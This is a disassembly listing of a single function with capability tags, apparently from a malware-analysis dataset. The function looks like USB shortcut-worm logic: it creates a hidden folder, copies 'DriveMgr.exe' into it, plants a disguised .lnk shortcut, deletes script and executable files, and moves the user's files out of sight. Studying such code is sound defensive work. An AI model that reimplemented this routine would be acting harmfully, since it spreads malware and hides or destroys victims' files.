Function at 0x402040
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Enumerate files on windows
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12f0
call fcn.00404c00
mov eax, dword [ebp + 0x14]
and eax, 0x80000
je 0x40205e
xor al, al
jmp 0x4024a4
mov dword [ebp - 0x414], 0x4059fc
mov byte [ebp - 0x829], 0
mov ecx, dword [ebp + 0x10]
push ecx
push str._s.lnk
lea edx, [ebp - 0x1098]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp - 0x414]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_sDriveMgr.exe
lea edx, [ebp - 0x620]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp - 0x414]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x405a3c
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x1098]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0x405a48
lea edx, [ebp - 0xe90]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
push str._s
lea ecx, [ebp - 0x12a8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402134
push 0
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x402134
push 7
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x620]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x402179
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x402179
push 0
lea ecx, [ebp - 0x620]
push ecx
push 0x408030
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
lea edx, [ebp - 0xe90]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0xe90]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4021dd
movzx ecx, byte [ebp + 0x18]
test ecx, ecx
je 0x4021b1
push 9
push 0x405a60
lea edx, [ebp - 0x620]
push edx
lea eax, [ebp - 0xe90]
push eax
call fcn.00401c90
add esp, 0x10
jmp 0x4021ce
push 8
push str.shell32.dll
lea ecx, [ebp - 0x620]
push ecx
lea edx, [ebp - 0xe90]
push edx
call fcn.00401c90
add esp, 0x10
push 5
lea eax, [ebp - 0xe90]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0xc88]
push ecx
lea edx, [ebp - 0x12a8]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x109c], eax
cmp dword [ebp - 0x109c], 0xffffffff
je 0x40249e
mov dword [ebp - 0x12e4], str..lnk
mov dword [ebp - 0x12e0], str..vbs
mov dword [ebp - 0x12dc], str..bat
mov dword [ebp - 0x12d8], str..js
mov dword [ebp - 0x12d4], str..scr
mov dword [ebp - 0x12d0], str..com
mov dword [ebp - 0x12cc], str..jse
mov dword [ebp - 0x12c8], str..cmd
mov dword [ebp - 0x12c4], str..pif
mov dword [ebp - 0x12c0], str..jar
mov dword [ebp - 0x12bc], str..dll
mov dword [ebp - 0x12b8], str..vbe
mov dword [ebp - 0x12b4], str..inf
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x12b0], eax
lea ecx, [ebp - 0x1098]
mov dword [ebp - 0x12ac], ecx
push 0x405b2c
lea edx, [ebp - 0xc5c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4022ca
push 0x405b30
lea eax, [ebp - 0xc5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x4022cf
jmp 0x402475
mov byte [ebp - 0x12e6], 0
mov dword [ebp - 0x12ec], 0
jmp 0x4022f1
mov ecx, dword [ebp - 0x12ec]
add ecx, 1
mov dword [ebp - 0x12ec], ecx
cmp dword [ebp - 0x12ec], 2
jae 0x402326
mov edx, dword [ebp - 0x12ec]
mov eax, dword [ebp + edx*4 - 0x12b0]
push eax
lea ecx, [ebp - 0xc5c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40231b
jmp 0x4022e2
mov byte [ebp - 0x12e6], 1
jmp 0x402326
movzx edx, byte [ebp - 0x12e6]
test edx, edx
je 0x402336
jmp 0x402475
mov byte [ebp - 0x12e5], 0
mov dword [ebp - 0x12f0], 0
jmp 0x402358
mov eax, dword [ebp - 0x12f0]
add eax, 1
mov dword [ebp - 0x12f0], eax
cmp dword [ebp - 0x12f0], 0xd
jae 0x4023cf
mov ecx, dword [ebp - 0x12f0]
mov edx, dword [ebp + ecx*4 - 0x12e4]
push edx
lea eax, [ebp - 0xc5c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x402382
jmp 0x402349
lea ecx, [ebp - 0xc5c]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x405b38
lea eax, [ebp - 0xa38]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0xa38]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xa38]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x12e5], 1
jmp 0x4023cf
movzx eax, byte [ebp - 0x12e5]
test eax, eax
je 0x4023df
jmp 0x402475
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4023f5
jmp 0x402475
lea edx, [ebp - 0xc5c]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x405b44
lea ecx, [ebp - 0x828]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0xc5c]
push edx
mov eax, dword [ebp - 0x414]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s_s
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov eax, dword [ebp - 0xc88]
and eax, 0x10
je 0x40245f
lea ecx, [ebp - 0x208]
push ecx
lea edx, [ebp - 0x828]
push edx
call fcn.00401d50
add esp, 8
jmp 0x402475
push 9
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x828]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea edx, [ebp - 0xc88]
push edx
mov eax, dword [ebp - 0x109c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40229e
mov ecx, dword [ebp - 0x109c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [ebp - 0x829]
mov esp, ebp
pop ebp
ret